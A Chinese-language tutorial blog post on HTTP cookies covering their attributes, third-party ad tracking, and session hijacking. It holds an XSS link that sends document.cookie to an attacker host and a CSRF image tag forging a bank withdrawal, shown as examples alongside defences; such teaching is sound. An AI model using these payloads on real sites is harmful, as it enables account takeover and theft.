網絡早期最大的問題之一是如何管理狀態。簡而言之,服務器沒法知道兩個請求是否來自同一個瀏覽器。當時最簡單的方法是在請求時,在頁面中插入一些參數,並在下一個請求中傳回參數。這須要使用包含參數的隱藏的表單,或者做爲URL參數的一部分傳遞。這兩個解決方案都手動操做,容易出錯。javascript
網景公司當時一名員工Lou Montulli,在1994年將「cookies」的概念應用於網絡通訊,用來解決用戶網上購物的購物車歷史記錄,目前全部瀏覽器都支持cookies。html
cookie翻譯過來是「餅乾,甜品」的意思,cookie在網絡應用中處處存在,當咱們瀏覽以前訪問過的網站,網頁中可能會顯示:你好,王三少,這就會讓咱們感受很親切,像吃了一塊很甜的餅乾同樣。java
因爲http是無狀態的協議,一旦客戶端和服務器的數據交換完畢,就會斷開鏈接,再次請求,會從新鏈接,這就說明服務器單從網絡鏈接上是沒有辦法知道用戶身份的。怎麼辦呢?那就給每次新的用戶請求時,給它頒發一個身份證(獨一無二)吧,下次訪問,必須帶上身份證,這樣服務器就會知道是誰來訪問了,針對不一樣用戶,作出不一樣的響應。,這就是Cookie的原理。git
其實cookie是一個很小的文本文件,是瀏覽器儲存在用戶的機器上的。Cookie是純文本,沒有可執行代碼。儲存一些服務器須要的信息,每次請求站點,會發送相應的cookie,這些cookie能夠用來辨別用戶身份信息等做用。chrome
如圖所示,用戶首次訪問服務器,服務器會返回一個獨一無二的識別碼;id=23451,這樣服務器能夠用這個碼跟蹤記錄用戶的信息,(購物歷史,地址信息等)。數據庫
cookie能夠包含任意的信息,不只僅是id,客戶端會記錄服務器返回來的Set-Cookie首部中的cookie內容。並將cookie存儲在瀏覽器的cookie數據庫中,當用戶訪問同一站點時,瀏覽器就會挑選當時該站點頒發的id=XXX的身份證(cookie),並在Cookie請求首部發送過去。跨域
能夠按照過時時間分爲兩類:會話cookie和持久cookie。會話cookie是一種臨時cookie,用戶退出瀏覽器,會話Cookie就會被刪除了,持久cookie則會儲存在硬盤裏,保留時間更長,關閉瀏覽器,重啓電腦,它依然存在,一般是持久性的cookie會維護某一個用戶週期性訪問服務器的配置文件或者登陸信息。瀏覽器
持久cookie 設置一個特定的過時時間(Expires)或者有效期(Max-Age)緩存
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2019 07:28:00 GMT;
產生Cookie的服務器能夠向set-Cookie響應首部添加一個Domain屬性來控制哪些站點能夠看到那個cookie,例以下面:安全
Set-Cookie: name="wang"; domain="m.zhuanzhuan.58.com"
若是用戶訪問的是m.zhuanzhuan.58.com那就會發送cookie: name="wang", 若是用戶訪問www.aaa.com(非zhuanzhuan.58.com)就不會發送這個Cookie。
Path屬性能夠爲服務器特定文檔指定Cookie,這個屬性設置的url且帶有這個前綴的url路徑都是有效的。
例如:m.zhuanzhuan.58.com 和 m.zhaunzhuan.58.com/user/這兩個url。 m.zhuanzhuan.58.com 設置cookie
Set-cookie: id="123432";domain="m.zhuanzhuan.58.com";
m.zhaunzhuan.58.com/user/ 設置cookie:
Set-cookie:user="wang", domain="m.zhuanzhuan.58.com"; path=/user/
可是訪問其餘路徑m.zhuanzhuan.58.com/other/就會得到
cookie: id="123432"
若是訪問m.zhuanzhuan.58.com/user/就會得到
cookie: id="123432"
cookie: user="wang"
設置了屬性secure,cookie只有在https協議加密狀況下才會發送給服務端。可是這並非最安全的,因爲其固有的不安全性,敏感信息也是不該該經過cookie傳輸的.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;
chrome 52和firefox 52 開始不安全的(HTTP)是沒法使用secure的:
經過docuemnt.cookie能夠設置和獲取Cookie的值
document.cookie = "user=wang";
console.log(document.cookie);
禁止javascript操做cookie(爲避免跨域腳本(xss)攻擊,經過javascript的document.cookie沒法訪問帶有HttpOnly標記的cookie。)
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2017 07:28:00 GMT; Secure; HttpOnly
一般cookie的域和瀏覽器地址的域匹配,這被稱爲第一方cookie。那麼第三方cookie就是cookie的域和地址欄中的域不匹配,這種cookie一般被用在第三方廣告網站。爲了跟蹤用戶的瀏覽記錄,而且根據收集的用戶的瀏覽習慣,給用戶推送相關的廣告。
如上圖(a):用戶訪問服務器1的一個頁面index.html,這個頁面和第三方廣告網站合做,這個頁面還有一張www.advertisement.com域名下的一張廣告圖ad1.jpg,當請求這張ad1.jpg圖片的時候,www.advertisement.com這個服務器會給用戶設置cookie
Set-Cookie: user="wang";like="a"; domain="advertisement.com"
記錄用戶的瀏覽記錄,分配一個user來表示用戶的身份。
圖(b):用戶訪問服務器2的一個index.html頁面,這個頁面也和同一家廣告商合做,這個頁面也包含一張www.advertisement.com域名下的一張廣告圖ad2.jpg,當請求這張ad2.jpg圖片的時候,瀏覽器就會向www.advertisement.com發送cookie
Cookie: user="wang"; like="a";
www.advertisement.com收到瀏覽器發送的cookie識別了用戶的身份,同時又把這個頁面用戶的瀏覽數據設置cookie
Set-Cookie: buy="b"; domain="advertisement.com"
圖(c):很巧,用戶訪問服務器3的一個index.html頁面,這個頁面也和那一家廣告商合做,這個頁面也包含一張www.advertisement.com域名下的一張廣告圖ad3.jpg,當請求這張ad3.jpg圖片的時候,瀏覽器就會向www.advertisement.com發送cookie
Cookie: user="wang"; like="a"; buy="b"
這樣廣告公司就能夠根據用戶的瀏覽習慣,給用戶推送合適的廣告。
多數網站使用cookie做爲用戶會話的惟一標識,由於其餘的方法具備限制和漏洞。若是一個網站使用cookies做爲會話標識符,攻擊者能夠經過竊取一套用戶的cookies來冒充用戶的請求。從服務器的角度,它是無法分辨用戶和攻擊者的,由於用戶和攻擊者擁有相同的身份驗證。 下面介紹幾種cookie盜用和會話劫持的例子:
網絡上的流量能夠被網絡上任何計算機攔截,特別是未加密的開放式WIFI。這種流量包含在普通的未加密的HTTP清求上發送Cookie。在未加密的狀況下,攻擊者能夠讀取網絡上的其餘用戶的信息,包含HTTP Cookie的所有內容,以便進行中間的攻擊。好比:攔截cookie來冒充用戶身份執行惡意任務(銀行轉帳等)。
解決辦法:服務器能夠設置secure屬性的cookie,這樣就只能經過https的方式來發送cookies了。
若是攻擊者可使DNS緩存中毒,那麼攻擊者就能夠訪問用戶的Cookie了,例如:攻擊者使用DNS中毒來建立一個虛擬的NDS服務h123456.www.demo.com指向攻擊者服務器的ip地址。而後攻擊者能夠從服務器 h123456.www.demo.com/img_01.png 發佈圖片。用戶訪問這個圖片,因爲 www.demo.com和h123456.www.demo.com是同一個子域,因此瀏覽器會把用戶的與www.demo.com相關的cookie都會發送到h123456.www.demo.com這個服務器上,這樣攻擊者就會拿到用戶的cookie搞事情。
通常狀況下是不會發生這種狀況,一般是網絡供應商錯誤。
使用跨站點腳本技術能夠竊取cookie。當網站容許使用javascript操做cookie的時候,就會發生攻擊者發佈惡意代碼攻擊用戶的會話,同時能夠拿到用戶的cookie信息。
例子:
<a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>領取紅包</a>
當用戶點擊這個連接的時候,瀏覽器就會執行onclick裏面的代碼,結果這個網站用戶的cookie信息就會被髮送到abc.com攻擊者的服務器。攻擊者一樣能夠拿cookie搞事情。
解決辦法:能夠經過cookie的HttpOnly屬性,設置了HttpOnly屬性,javascript代碼將不能操做cookie。
例如,SanShao可能正在瀏覽其餘用戶XiaoMing發佈消息的聊天論壇。假設XiaoMing製做了一個引用ShanShao銀行網站的HTML圖像元素,例如,
<img src = "http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >
若是SanShao的銀行將其認證信息保存在cookie中,而且cookie還沒有過時,(固然是沒有其餘驗證身份的東西),那麼SanShao的瀏覽器嘗試加載該圖片將使用他的cookie提交提款表單,從而在未經SanShao批准的狀況下受權交易。
解決辦法:增長其餘信息的校驗(手機驗證碼,或者其餘盾牌)。
若是你喜歡咱們的文章,關注咱們的公衆號和咱們互動吧。